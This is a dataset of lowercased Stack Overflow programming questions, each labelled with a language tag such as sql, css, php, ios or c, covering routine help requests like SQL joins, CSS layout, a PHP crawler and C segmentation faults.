get the result from table which is in relation or not in relation  i have a table in that table 4 column id   firmid  officeid  planid data like below   <pre><code>id  firmid  officeid    planid ----------------------------------------- 1   54      null        4 2   54      3           9 3   54      5           8 4   54      6           6 5   54      7           9 6   54      8           8    </code></pre>   i have 4 table firm  office  plan  firmofficeplan  in firmofficeplan contains firm plan  and office plan  like firm 54 has a 10 office  firm 54 has a plan id = 4  and office id = null    but in some of office of 54 has a different plan like office 3 has a plan id = 9  office 5 has a plan id = 8  office 6 has a planid = 6    so rest of office has a refer a plan = 4 (which is configure for firm)    so i want to get result for all offices like below    <pre><code>id  firmid  officeid    planid -------------------------------------- 1   54      1           4 1   54      2           4 2   54      3           9 3   54      5           8 4   54      6           6 5   54      7           9 6   54      8           8 1   54      9           4 1   54      10          4 </code></pre>   i have 80000+ firm and 30 to 40 office each firm in this case it will work very slow<br> below is my query but i am not satisfy   <pre><code>select  a.firm_id          a.office_id          pricingplanid = coalesce(b.planid a.planid) from    (select a.firm_id o.office_id a.planid           from    firm f                 inner join office o on  o.firm_id = f.firm_id                 left join firmofficeplan a on a.firm_id = f.firm_id                                                        and a.office_id is null            where   f.firm_id = 54)a         left join firmofficeplan b on a.firm_id  = b.firm_id                                                 and a.office_id =  b.office_id                                                and b.office_id is not null </code></pre>,sql
ie - stylesheet.addrule ignored when printing   i m setting some css rules dynamically in ie8 using the addrule() method. i m finding that when i print  these rules are getting ignored - whether i m adding the rules to a print specific stylesheet or not.    anyone know a way around this,javascript
what is the space between these elements   what is the spacing (the red section) between the <code>&lt;div&gt;</code> elements in <a href= https://jsfiddle.net/b2xfpa6a/1/  rel= nofollow >my code at jsfiddle</a>  i have both padding and margin set to 0px. i don t know what s causing them. i have used f12 on chrome and determined that <code>.column</code> does not include it.,html
background image disappears when position relative used in firefox  so i m trying to add a badge to the top right corner of a site i m doing some work on. z-index works to float the object above the page content but each time i try to use position relative the background image disappears only position absolute shows the image. i don t really want to use absolute as the image needs to be positioned on the right hand side of the sites menu bar not the right hand side of the viewport.    any thoughts or advice appreciated   <pre><code>&lt;div class= badge-box &gt; &lt;a href= http://www.google.com  class= badge &gt;book now!&lt;/a&gt; &lt;/div&gt;  &lt;div id= header &gt; &lt;a href= index.php &gt;&lt;img src= images/pixel.gif  width= 378  height= 31  alt= welcome to gwynfryn farm cottages  /&gt;&lt;/a&gt; &lt;/div&gt;  &lt;div id= main-menu &gt; &lt;div&gt; &lt;a href= / &gt;home&lt;/a&gt; &lt;a href= /cottages.php &gt;our cottages&lt;/a&gt; &lt;a href= /gwynfryn.php &gt;bed &amp;amp; breakfast&lt;/a&gt; &lt;a href= /rates.php &gt;price guide&lt;/a&gt; &lt;a href= /llanbedr.php &gt;location &amp;amp; local attractions&lt;/a&gt; &lt;a href= /news.php &gt;news &amp;amp; special offers&lt;/a&gt; &lt;a href= /contact.php &gt;contact us&lt;/a&gt; &lt;/div&gt; &lt;/div&gt;  .badge-box {     width: 1030px;     margin-left: auto;     margin-right: auto;     border: 0px solid red; }  .badge {     background: url(../images/badge.png) 0px 0px no-repeat;     width: 148px;     height: 148px;     text-indent: -10000px;     position: relative;     z-index: 999; }  #header {     width: 960px;     height: 40px;     margin-left:auto;     margin-right:auto;     margin-top:20px;     padding: 20px 0px 0px 20px;     background: #58564f url(../images/header-top-background.png); }  #main-menu {     width: 980px;     margin-left: auto;     margin-right: auto;     height: 35px;     /*background: red;*/     background: #58564f url(../images/header-bottom-background.png);     font-family: georgia   times new roman   times  serif; }  #main-menu div {     width: 776px;     height: 35px;     margin-left: auto;     margin-right: auto;     background: blue; }  #main-menu div a {     display: block;     float: left;     padding: 5px 10px 0px 10px;     height: 30px;     color: #ffffff;     font-size: 1.2em;     text-align: center;     background:  green; }  #main-menu div a:hover {     background-color: #333333; } </code></pre>,css
rails add to routing get parameters  i have some action <code>signup</code> and i get this aighup url to template  but need add some get parametrs like this   <pre><code>http://localhost:3000/signup list_id=1 </code></pre>   i thing like this but not work    <pre><code>&lt;%= link_to  signup   signup_url(  id= @list.id) %&gt; </code></pre>   my usernotifiermailer   <pre><code>usernotifiermailer.send_signup_email(params[:email]  @list).deliver  def send_signup_email(email  list) @list = list mail( :to =&gt; email        :subject =&gt;  thanks for signing up for our amazing app  ) end </code></pre>   and i have template for my email   <pre><code>&lt;h1&gt;list id &lt;%= @list.id %&gt;&lt;/h1&gt; &lt;%= link_to  signup   signup_url %&gt; </code></pre>   but in url signup need add get params    begin when user go to the signup url with get parameters need transfer this get parameters to action and in action check if exist get parameters - some logic    how to add get parameters to some routing in template or in action and transfer to template,ruby-on-rails
chapter number of paragraphs in a word document  how we can read chapter number of paragraphs in word document using open xml     suppose   1. heading 1    1.1 heading 2 are 2 paragraphs in a word document   how we can read values 1  1.1 etc.,c#
asp.net mvc or webforms   i m very new to web development  have many years background on the desktop  but nothing on web  only html. i want to make a simple dynamic webpage for a product i ve been working on by myself  but i don t know which of the two  mvc or webforms  would be easier for me.    the lessons at asp.net didn t help me much  i took the  first step  tutorials for both mvc and webforms  but i still don t see any significant difference.    what i ask for is an examplanation for a person  who s not professional at web development  or better yet  for a desktop programmer.,asp.net
equal margin from left and right ullabel ios  i have a uilabel(i am using <strong>autolayout</strong>) in my chat screen and its showing me sender s and receiver s messages. its expanding according to the text limit.<strong>i am using this label in my custom cell in uitableview</strong>. prob is that when text limit is upto 1 line then its showing fine in a proper manner. but when the number of lines of text >1 means we have multiple lines then the alignment is not working fine . the text starts from the very left end without any margin from left and right.  i want a proper alignment of text with fixed margin from top left right and bottom. i dont know how to achieve this. can anybody demonstrate with an example(<strong>autolayout enable</strong>). i will be very thank full to them.,ios
forcing use of cbegin()/cend() in range-based for  this question refers to:    <a href= https://stackoverflow.com/questions/5814553/ranged-for-and-cbegin-cend/5815268#5815268 >when should i use the new ranged-for and can i combine it with the new cbegin/cend </a>    based on that question  to force the use of <code>cbegin()</code> and <code>cend()</code>  one needs to do  for example:   <pre><code>for (auto&amp; v: const_cast&lt;decltype(container) const&gt;(container)) </code></pre>   that s a lot of boilerplate code for a construct that was supposed to eliminate it. is there some more compact way to do it  the reason for my question is  that an implicitly shared container might take my use of <code>begin()</code> as a clue to detach itself.,c++
android: java.lang.securityexception: unknown package com.my.package  user s crash report sends me this error.   <pre><code>java.lang.runtimeexception: unable to create application com.youdao.dict.dictapplication: java.lang.securityexception: unknown package com.youdao.dict android.app.activitythread.handlebindapplication(activitythread.java:3377) android.app.activitythread.access$2200(activitythread.java:155) android.app.activitythread$h.handlemessage(activitythread.java:1031) android.os.handler.dispatchmessage(handler.java:130) android.os.looper.loop(sourcefile:351) android.app.activitythread.main(activitythread.java:3820) java.lang.reflect.method.invokenative(native method) java.lang.reflect.method.invoke(method.java:538) com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:901) com.android.internal.os.zygoteinit.main(zygoteinit.java:659) dalvik.system.nativestart.main(native method) </code></pre>   i see this error on limited devices and i can t reproduce.     my question is: <strong>what permission is wrong </strong>,android
getting nsdate of yesterday at 12:00 and tonight  lets say its now morning in my place 10:00am . i need to get 2 <code>nsdates</code>   one of yesterday(or today) night at 12:01   and the other of today at 11:59 at night (sorry i am little bit confused with am and pm  and i don t want it to mess the question ).    i have seen here something like this :   <pre><code>nsdate *today = [nsdate date]; //intervals taken from google nsdate *yesterday = [today datebyaddingtimeinterval: -86400.0]; </code></pre>   but this number is a const. how would i subtract from now s date what is needed to get today s 12:01 at night (past) and todays 11:59 at night (future)   thanks.,objective-c
bixolon auto connection mfi ios  i am trying to connect an application to bixolon printer over mfi. the device is already paried in ios bluetooth to the printer. i have implemented the bxprintercontroldelegate as part of my appdelete.     when i call the  lookup  the method didfindprinter is triggered several times. the devices are set as the target of the printer controller.     the methods willconnect / didnotconnect / didconnect are never being triggered.      i have set the printer controller to use autoconnect. however  when i try to print the printer is not connected   the following status is returned  status = 103 &amp; state = 0     has anyone had any luck printing with these devices before on ios applications and have any tips on where i need to look to get the connection working,ios
append non numeric key-values to an array  trying to return a db resultset as an array in my dao:    i want to append string key-values to the array <code>$retval</code> in the below code. however  the array keeps getting overwritten each iteration instead of being appended to.    so at the end of the loop  i end up with 1 key-value instead of n pairs (n rows retrieved from the database). what am i doing wrong    <pre><code>$retval = array(); while ($row = mysql_fetch_assoc($result)) {      foreach($columns as $var) {         $retval[$var]=$row[$var];     }  } var_dump($retval); </code></pre>   <code>$retval</code> ends up as <code>[ name =&gt; japan   capital =&gt; tokyo ]</code> instead of the expected <code>[ name =&gt; korea   capital =&gt; seoul .... japan =&gt; tokyo ]</code> where columns are name and capital.,php
pathuri from the camera library crashes  i am selecting a picture from the android device library as follows   <pre><code>public static void showfilechooser(activity activity) {  intent intent = new intent();  intent.settype( image/* );  intent.setaction(intent.action_get_content);  activity.startactivityforresult(intent.createchooser(intent   select picture )  1); } </code></pre>   and trying to get <code>realpathfromuri</code> as follows  but idx always returns -1. i wonder what i am missing.    <a href= https://i.stack.imgur.com/tdsjg.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/tdsjg.png  alt= enter image description here ></a>    manifest file   <pre><code>&lt;uses-permission android:name= android.permission.camera  /&gt; &lt;uses-permission android:name= android.permission.write_external_storage  /&gt; &lt;uses-permission android:name= android.permission.read_external_storage  /&gt; </code></pre>   <strong>update 1:</strong>    <a href= https://i.stack.imgur.com/172si.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/172si.png  alt= enter image description here ></a>    <strong>update 2:</strong> i even tried the following  path returns null    <a href= https://i.stack.imgur.com/chclr.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/chclr.png  alt= enter image description here ></a>,android
how to find the maximum length of a column in a datatable using linq  how to find the maximum length of a column in a datatable using linq in vb.net  i want the max length in col1 5.how can i achieve this using linq   <pre><code>    dim dt as new datatable     datatable.columns.add( col1 )     datatable.rows(0).item( col1 )= 123 `val inserted     datatable.rows(1).item( col1 )= 1234 `val inserted     datatable.rows(2).item( col1 )= 12345`val inserted </code></pre>,asp.net
understanding effect of jquery statement  i was looking for an easy way to get the contents of a jquery element and came across this page:  <a href= http://jquery-howto.blogspot.com/2009/02/how-to-get-full-html-string-including.html  rel= nofollow >http://jquery-howto.blogspot.com/2009/02/how-to-get-full-html-string-including.html</a>    it has the following code   <pre><code>var html = $( &lt;div&gt; ).append($( #top ).clone()).remove().html(); </code></pre>   their explanation is as follows:   <blockquote>    1) cloning selected div        2) creating a new div dom object and appending created clone of the div         3) then getting the contents of wrapped div (which would give us all html)         4) finally removing the created dom object  so it does not clutter our dom tree.  </blockquote>   my question are as follows: 1) it looks like the first thing this does is create a <em>new</em> div that is not attached to the dom  so why does it need to have the  remove  call  2) i understand why it doesn t come up for this example  but in general is there much difference between doing     <pre><code>a:  $( &lt;div&gt; ).append( &lt;span&gt;foobar&lt;/span&gt; )  b:  $( &lt;div&gt;&lt;span&gt;foobar&lt;/span&gt;&lt;/div&gt;)  </code></pre>,jquery
setting up objective-c with kdevelop  does anyone know how to setup objective-c with kdevelop  i ve been searching and searching for a supposed  patch   which is supposed to integrate support in with the ide  yet i haven t been able to find it.,objective-c
needed help improving this crawler  i have this crawler  but it will index only the domain root ex: mydomain.com but not /somethingelse.php  /otherpage.html i mean the website internal links...    is there a way to modify this script to be able to index more pages rather than the root    <pre><code>    &lt; php require_once( ./pathtoconfig ); require_once( ./functions.php ) set_time_limit(500); error_reporting(-1);     header( content-type: text/plain; charset=utf-8; );  $db = @mysqli_connect($conf[ host ]  $conf[ user ]  $conf[ pass ]  $conf[ name ]); mysqli_query($db   set names utf8 );  if(!$db) {       echo  failed to connect to mysql: (  . mysqli_connect_errno() .  )   . mysqli_connect_error(); }  //insert links separated by commas.  $url = array( mydomain1.com    mydomain2.com );                          foreach($url as $k) {            $url = parse_url($k);        if(!isset($url[ path ])) {         $selectdata =  select * from web where url =  $k  ;         if(mysqli_fetch_row(mysqli_query($db  $selectdata)) == null) {             $content = geturl($k);             preg_match( #&lt;title&gt;(.*)&lt;/title&gt;#i   $content  $title);             preg_match_all( /&lt;img src=.([^ \  ]+)/   $content  $img);             preg_match( /&lt;head&gt;.+&lt;meta name= description  content=.([^ \ ]+)/is   $content  $description);             preg_match( /&lt;head&gt;.+&lt;meta name= author  content=.([^ \ ]+)/is   $content  $author);             #preg_match_all( /href=.([^ \  ]+)/i   $content  $anchor);             preg_match( /&lt;body.* &gt;(.* )&lt;\/body&gt;/is   $content  $body);             if(!empty($title[1]) and !empty($description[1]) || !empty($body[1])) {                 echo  title:  ; @print_r($title[1]);                 echo  \n ;                   $body_trim = trim(preg_replace( /&amp;# [a-z0-9]+;/i     (strip_tags(@$body[0])))); $bodycontent = substr(preg_replace( /\s+/        $body_trim)  0  255);                  $description_trim = trim(preg_replace( /&amp;# [a-z0-9]+;/i     (strip_tags(@$description[1])))); $desccontent = substr(preg_replace( /\s+/       $description_trim)  0  255);                  $bodycontent = str_replace( \        $bodycontent);                 $desccontent = str_replace( \        $desccontent);                 echo  description:  ; @print_r($desccontent);                 echo  \n ;                 echo  author:  ; @print_r($author[1]);                 echo  \n ;                 echo  url:  ; @print_r($k); $date = date( d m y );                 echo  \n ;                 echo  \n---------------------------------------------------------------------------\n ;                 $insertdata =  insert into `web` (`url`    `title`    `description`    `body`    `author`  `date`) values (  .$k.      .@$title[1].      .@$desccontent.      .@$bodycontent.      .@$author[1].      .$date.  ) ;                 #echo $insertdata;                 mysqli_query($db  $insertdata);             }         }     } }  &gt; </code></pre>   hope you can help me  thanks alot  really appreciate it.,php
alert the user about app exit  i have and app using location updates. i need to notify user once the app is killed from background  manually or by os.    is there any way that i can show an alert to the user that the app is not running now. is there any tweak  please help.,iphone
how to troubleshoot c code that is not working   here is my challenge:   <blockquote>    add sum of two integer values and sum of two double values and concatenate two char array values.       <ol>   <li>declare  variables: one of type int  one of type double  and one of type string.</li>   <li>read  lines of input from stdin (according to the sequence given in the input format section below) and initialize your  variables.</li>   <li>use the  operator to perform the following operations:    a.print the sum of  plus your int variable on a new line.   b.print the sum of  plus your double variable to a scale of one decimal place on a new line.   c.concatenate  with the string you read as input and print the result on a new line.</li>   </ol> </blockquote>   code:   <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt; #include &lt;math.h&gt; #include &lt;stdlib.h&gt;  int main() {     int i = 4;     double d = 4.0;     char s[] =  hackerrank  ;  // declare second integer  double  and string variables.     int j = 5;     double f = 5.0;     char a[] =  bestplace  ; // read and save an integer  double  and string to your variables.     scanf( %d%d%1f%1f%c%c   &amp;i  &amp;j  &amp;d  &amp;f  &amp;s  &amp;a); // print the sum of the integer variables on a new line.     int sum;     sum = i+j     printf( sum of %d   sum); // print the sum of the double variables on a new line.     double s2 = d + f;     printf( sum of %1f   s2); // concatenate and print the string variables on a new line     strcat(s  a);     printf(s + strlen(s)   a + strlen(a)    %c    %c ); // the  s  variable above should be printed first.     printf( %c    s);     return 0; } </code></pre>,c
simple angularjs not working  i m just beginning to learn angularjs and am following a tutorial. for some reason  it is displaying {{ name }}  instead of the name that i give it in the code below.    index.html   <pre><code>&lt;!doctype html&gt; &lt;html ng-app= myapp &gt;     &lt;head&gt;         &lt;script src= https://ajax.googleapis.com/ajax/libs/angularjs/1.0.7/angular.min.js &gt; &lt;/script&gt;         &lt;script src= js/main.js &gt; &lt;/script&gt;     &lt;/head&gt;     &lt;body&gt;         &lt;div ng-controller= mycontroller &gt;             {{ name }}         &lt;/div&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>   main.js   <pre><code>var app = angular.module( myapp   []); app.controller( mycontroller   function($scope)) {       $scope.name =  hello world! ; } </code></pre>,angularjs
using <dl> for one item   i wanted to see if it was practical to use a definition list for only one item.  what i m doing is presenting data in a grid and each column will have it s own data to present.  i would assume i would need to put a  tag in each column.     <pre><code>&lt;div class= row &gt;    &lt;div class= column-1 &gt;         &lt;dl&gt;             &lt;dt&gt;name&lt;/dt&gt;             &lt;dd&gt;jack&lt;/dd&gt;         &lt;/dl&gt;    &lt;/div&gt;    &lt;div class= column-1 &gt;         &lt;dl&gt;             &lt;dt&gt;company&lt;/dt&gt;             &lt;dd&gt;some company&lt;/dd&gt;         &lt;/dl&gt;    &lt;/div&gt;  &lt;/div&gt; </code></pre>,html
seting a value from uitextfield  so i have two <code>uitextfield</code>s one for reps and one for weight. these are then written to a custom class <code>byfsets</code>. which is then written to a array in another custom class byfworkout but for some reason i keep writing null to the array.    and i am add a pointer to null to the  array   _workout.sets   ideas on why   and how to fix it     here is my code    <pre><code>-(ibaction)nextset:(id)sender {     switch (setnumber.text.intvalue) {         case 1:             setnumber.text=@ 2 ;             break;         case 2:             setnumber.text=@ 3 ;             break;         case 3:             setnumber.text=@ 4 ;             break;         case 4:             setnumber.text=@ 5 ;             break;         case 5:             setnumber.text=@ 6 ;             break;         default:             nslog(@ she be default bro );             setnumber.text=@ 1 ;             break;     }       byfsets *set =[[byfsets alloc] init];     set.wieght = weight.text;     set.reps = reps.text;      [_workout.sets addobject:set]; } </code></pre>   any help would be appreciated,ios
take email value from table in query  i m trying to replace all avatars with an avatar generator. the avatars get generated by putting your email address in the url.    (<em>i ve tried searching but resulted in no solution. that may be because i don t really know what to exactly search for. i hope you can help me out by either linking me an existing thread or simply giving an answer.)</em>    my current table has <strong>2</strong> columns  <code>avatars</code> and <code>email</code>    i want to replace all avatars <code>hello.jpg</code> with <code>//avatar.com/emailadress.png</code>    how can i put the users email value in the replacement query  <strong>i m using mysql as dmbs</strong>.    this is my current query. <code>update members set avatar = replace(avatar   hello.jpg    //avatar.com/%.png )</code>    <strong>% would be the value of the email adress.</strong>    thank you!,sql
javascript - filter <key value> object by key  i am looking for a short and efficient way to filter  objects by key  i have this kind of data-structure:   <pre><code>{ key1 :[obj1 obj2 obj3]   key2 :[obj4 obj5 obj6]} </code></pre>   now i want to filter by keys  for example by <code> key1 </code>:   <pre><code>{ key1 :[obj1 obj2 obj3]} </code></pre>,javascript
how to modify this data structure in python  i have the following structure in python.   <pre><code>{    timeseries : [{      values : [       [1428278400000.0  44.44]        [1428282000000.0  46.15]        [1428285600000.0  38.46]        [1428289200000.0  47.62]        [1428292800000.0  35.29]        [1428296400000.0  40.0]        [1428300000000.0  33.33]        [1428303600000.0  43.48]        [1428307200000.0  44.44]        [1428310800000.0  40.0]        [1428314400000.0  47.22]        [1428318000000.0  37.93]        [1428321600000.0  45.45]        [1428325200000.0  46.15]        [1428328800000.0  42.86]        [1428332400000.0  44.83]        [1428336000000.0  47.37]        [1428339600000.0  40.0]        [1428343200000.0  38.46]        [1428346800000.0  47.06]        [1428350400000.0  42.31]        [1428354000000.0  50.0]        [1428357600000.0  47.62]        [1428361200000.0  42.86]        [1428364800000.0  0.0]     ]       name :  server2    }  {      values : [       [1428278400000.0  55.56]        [1428282000000.0  53.85]        [1428285600000.0  61.54]        [1428289200000.0  52.38]        [1428292800000.0  64.71]        [1428296400000.0  60.0]        [1428300000000.0  66.67]        [1428303600000.0  56.52]        [1428307200000.0  55.56]        [1428310800000.0  60.0]        [1428314400000.0  52.78]        [1428318000000.0  62.07]        [1428321600000.0  54.55]        [1428325200000.0  53.85]        [1428328800000.0  57.14]        [1428332400000.0  55.17]        [1428336000000.0  52.63]        [1428339600000.0  60.0]        [1428343200000.0  61.54]        [1428346800000.0  52.94]        [1428350400000.0  57.69]        [1428354000000.0  50.0]        [1428357600000.0  52.38]        [1428361200000.0  57.14]        [1428364800000.0  0.0]     ]       name :  server1    }]     dates : [1428278400000.0  1428282000000.0  1428285600000.0  1428289200000.0  1428292800000.0  1428296400000.0  1428300000000.0  1428303600000.0  1428307200000.0  1428310800000.0  1428314400000.0  1428318000000.0  1428321600000.0  1428325200000.0  1428328800000.0  1428332400000.0  1428336000000.0  1428339600000.0  1428343200000.0  1428346800000.0  1428350400000.0  1428354000000.0  1428357600000.0  1428361200000.0  1428364800000.0] } </code></pre>   where <code>timeseries</code> is a list of dictionary of values consisting of epoch dates and values  and <code>dates</code> is a sorted epoch date list. now i want to remove the last value from both <code>server2</code> and <code>server1</code> since its essentially zero and then remove the last corresponding date.    so the final structure becomes.   <pre><code>{    timeseries : [{      values : [       [1428278400000.0  44.44]        [1428282000000.0  46.15]        [1428285600000.0  38.46]        [1428289200000.0  47.62]        [1428292800000.0  35.29]        [1428296400000.0  40.0]        [1428300000000.0  33.33]        [1428303600000.0  43.48]        [1428307200000.0  44.44]        [1428310800000.0  40.0]        [1428314400000.0  47.22]        [1428318000000.0  37.93]        [1428321600000.0  45.45]        [1428325200000.0  46.15]        [1428328800000.0  42.86]        [1428332400000.0  44.83]        [1428336000000.0  47.37]        [1428339600000.0  40.0]        [1428343200000.0  38.46]        [1428346800000.0  47.06]        [1428350400000.0  42.31]        [1428354000000.0  50.0]        [1428357600000.0  47.62]        [1428361200000.0  42.86]     ]       name :  server2    }  {      values : [       [1428278400000.0  55.56]        [1428282000000.0  53.85]        [1428285600000.0  61.54]        [1428289200000.0  52.38]        [1428292800000.0  64.71]        [1428296400000.0  60.0]        [1428300000000.0  66.67]        [1428303600000.0  56.52]        [1428307200000.0  55.56]        [1428310800000.0  60.0]        [1428314400000.0  52.78]        [1428318000000.0  62.07]        [1428321600000.0  54.55]        [1428325200000.0  53.85]        [1428328800000.0  57.14]        [1428332400000.0  55.17]        [1428336000000.0  52.63]        [1428339600000.0  60.0]        [1428343200000.0  61.54]        [1428346800000.0  52.94]        [1428350400000.0  57.69]        [1428354000000.0  50.0]        [1428357600000.0  52.38]        [1428361200000.0  57.14]     ]       name :  server1    }]     dates : [1428278400000.0  1428282000000.0  1428285600000.0  1428289200000.0  1428292800000.0  1428296400000.0  1428300000000.0  1428303600000.0  1428307200000.0  1428310800000.0  1428314400000.0  1428318000000.0  1428321600000.0  1428325200000.0  1428328800000.0  1428332400000.0  1428336000000.0  1428339600000.0  1428343200000.0  1428346800000.0  1428350400000.0  1428354000000.0  1428357600000.0  1428361200000.0] } </code></pre>   how to achieve this in python.,python
math.random to never generate same number as other math.random  i got 4 math.random generators. each picking 1 of the x objects from the array.   <pre><code>  var randomitem1 = projects[math.floor(math.random()*projects.length)];   var randomitem2 = projects[math.floor(math.random()*projects.length)];   var randomitem3 = projects[math.floor(math.random()*projects.length)];   var randomitem4 = projects[math.floor(math.random()*projects.length)]; </code></pre>   how can i write a function that prevents the math.random to generate the same number as other math.random generator.    <em>my guess: creating a loop that loops through the <code>var randomitem 1 till 4</code>. if it finds 1 or more outputs to be the same  it will regenerate a new output for 1 or more the duplicated outputs.</em>    any other suggestions     edit: this is for a website.,javascript
how can you tell if an asset url actually points to an existing asset   basic question: <strong>if you have an asset url and wish to retrieve the image for that asset  how do you actually verify that the asset actually exists </strong> please see my full explanation below for details on what i mean.    i have an application that i m developing that allows users to group images into  bundles  for further processing. the images can come from itunes sharing  the device s camera (if one is attached)  or the device s photo library. further  the user may edit the images in some basic ways. the  bundles  can be long lived; they are serialized and deserialized as the application stops and starts so the state of the application is persistent between runs.    my original design had the images saved into the application s sandbox. if any editing is performed  the image is simply rewritten to its local file. however  if a bundle contains a lot of images  this can result in an unnecessary duplication of the image contents  resulting in a less than optimal  file system  usage.    my redesign now has it so that if an image comes from the asset library  i merely store the asset s url  and retrieve it whenever i need to actually display the image or its contents. when the user edits an image  it s written to a local sandbox  as in my original design. my application tracks whether the image is coming from the local file system or assets library.    my problem arises when my application is not active. the user is perfectly able to go into the photos app and remove images at will--including the images my application has stored url pointers to.    i did a  what if   test to see what would happen in my application if the user were to do something like this. what i saw happened was a bit unexpected. i wrote a handler that walks the bundle list  verifying all images that have asset urls using the following code:   <pre><code>[assetlibrary      assetforurl:url      resultblock:^(alasset *asset) {          _image = [uiimage imagewithcgimage:[[asset defaultrepresentation] fullresolutionimage]];          // ... everything works!      }      failureblock:^(nserror *error) {          nslog(@ asset verify failed );          if (_image != nil) {              // i already have a reference to the uiimage... write it locally          } else {              // image is nil and we have an empty image.          }      }]; </code></pre>   in my testing  i never reach the failure block. apple s documentation says  <em>if the user denies access to the application  or if no application is allowed to access the data  the failure block is called.</em>  it does not say what happens when the url doesn t exist. indeed  my testing shows something is writing an nslog() message that  could not find asset with uuid xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx  (the xxx are replaced by the uuid in the original url). that s not bad enough  though. i can still see the image in the uiimageview i had on the view controller on the screen  and when i pop the view controller to the parent  i get a system reset.    so  my question is  is there any way to tell if an asset url actually exists  i don t mind if i have to nil out the image (after all  the user is the one that deleted the image!). i don t like the idea of having some known behavioral path that will consistently result in a device reboot; i cannot submit an application with this behavior to the app store.    any suggestions  while i m waiting for answers  i m still going to be doing my own testing of some ideas  but i can use whatever suggestions people can give me on this.    thanks!,ios
how to find out whether all inner ng-forms are valid or not   i have html code like this   <pre><code>&lt;div class= section1 &gt;     &lt;div ng-repeat= item in objs1 &gt;         &lt;ng-form name= myform &gt;             &lt;input require name= expression  ng-model= item.exp  /&gt;             &lt;label ng-show= myform.expression.$error.required  class= error &gt;*-required&lt;/label&gt;         &lt;/ng-form&gt;     &lt;/div&gt;     &lt;button ng-disabled= --if any myform is invalid-- &gt;add&lt;/button&gt; &lt;/div&gt; &lt;div class= section2 &gt;     &lt;input require name= first  ng-model= firstname  /&gt;     &lt;input require name= first  ng-model= secondname  /&gt; &lt;/div&gt; </code></pre>   how can i know <code>--if any myform is invalid--</code>,angularjs
alternative method in objective for retainall  retainall method function is in java what is alternative method in objective-c    sample code in java   <pre><code>import java.util.arraylist; import java.util.arrays; import java.util.list;  public class mainclass {   public static void main(string args[]) {     string orig[] = {  1st    2nd    3rd    4th    5th    1st    2nd    3rd            4th    5th  };     string act[] = {  2nd    3rd    6th  };     list origlist = new arraylist(arrays.aslist(orig));     list actlist = arrays.aslist(act);      system.out.println(origlist.retainall(actlist));     system.out.println(origlist);   } } </code></pre>   the out put which gives 2nd 3rd 2nd 3rd,objective-c
never-ending instances of ctcall  so i found this code snippet online to detect calls coming in. works great except it continuously creates ctcall objects which are never released. this in turn consumes a pretty large amount of memory.    i m not familiar enough with block statements to properly analyze what s going on so i was hoping to get some help. what would i need to do here to remove the ctcall objects.     the below code is in my appdelegate in the application: didfinishlaunchingwithoptions: method   <pre><code>[uiapplication sharedapplication].applicationiconbadgenumber = 0;  ctcallcenter *callcenter = [[ctcallcenter alloc] init]; __block nsstring *laststate = nil;  __block void (^block)(void) = ^(void) {      ctcall *call = [[callcenter currentcalls] anyobject];      if (call) {          if (![laststate isequaltostring:call.callstate]) {              self.isincall = yes;             laststate = call.callstate;             [self postnotificationwithbody:call.callstate];         }      } else {          if (laststate != nil) {              [self postnotificationwithbody:@ ctcallstatedisconnected ];             self.isincall = no;          } else {              if (self.isincall) {                  int64_t delayinseconds = 3.0;                 dispatch_time_t poptime = dispatch_time(dispatch_time_now  delayinseconds * nsec_per_sec);                 dispatch_after(poptime  dispatch_get_main_queue()  ^(void) {                      [self postnotificationwithbody:@ call failed ];                 });                  self.isincall = no;             }         }         laststate = nil;     }      int64_t delayinseconds = 0.1;     dispatch_time_t poptime = dispatch_time(dispatch_time_now  delayinseconds * nsec_per_sec);     dispatch_after(poptime  dispatch_get_main_queue()  block);  };  block(); </code></pre>   any help with this would be much appreciated. i m also getting a warning at the end.  capturing  block  strongly in this block is likely to lead to a retain cycle     this may be part of the problem  but like i mentioned above. i m not so good with block statements. so i m not sure how to fix this.,ios
is there any way so that no one can get source code of application from exe file   i want to create a exe file for my java project but the problem is that anyone can get my application code from exe. is there any way so that no one can  get source code of application from exe file,java
angularjs model reload after item delete  i m pretty new in angularjs and i have no idea how do this.   <pre><code>&lt;div class= userdata  ng-repeat= user in users &gt; &lt;div class= float      &lt;img ng-click= deleteuser($event)  src= myurl &gt; &lt;/div&gt; &lt;div class= userdiv      &lt;input type= checkbox  ng-model= user.active  ng-click= handleuseractive() &gt;     &lt;input type= text  ng-model= user.text &gt; &lt;/div&gt; &lt;/div&gt; </code></pre>   i need remove a item when the user click the img. my model is:   <pre><code>$scope.users = [ {active: true  text: text} ] </code></pre>,angularjs
designing css fluid/fixed layout with css and not using tables  how would you approach the design of the following layout without using any tables     i have tried but cannot get the height of the 3 central div elements to 100% height.    <img src= https://i.stack.imgur.com/5mrpz.png  alt= enter image description here >    any help would be appreciated. thanks in advance!,css
how to solve  segmentation fault  error in c  i m not a expert in c  in fact  i hate it  but i have to do this project in this lenguage for my university. well  when i have gone to test my code  i had a surprise with this error   segmentation fault . i was looking for internet and reading people with the same problem and i couldn t solve it.     so  this is my code:   <pre><code>typedef struct evento{     char* tipo; //baja  alta o evento     char* tema; //tema al que pertenece     char* valor;     int puerto;     struct sockaddr_in *dir; }evento;  int generar_evento(const char *tema  const char *valor) {  //socket()  int sock;  sock = socket(af_inet  sock_stream  0);  if (sock &lt; 0){ perror( error en socket() en editor ); exit(1); }  //preparar mensaje  evento evt; strcpy(evt.tipo   evento ); strcpy(evt.tema  tema); strcpy(evt.valor  valor); </code></pre>   the code follows but is not important because i was testing it and the error is in:   <pre><code>evento evt; strcpy(evt.tipo   evento ); strcpy(evt.tema  tema); strcpy(evt.valor  valor); </code></pre>   i need that the <code>generar_evento</code> s parametres (<code>const char *tema  const char *valor</code>) be copied in a <code>struct evento</code> but when i tried to do it the error appered.    thanks!,c
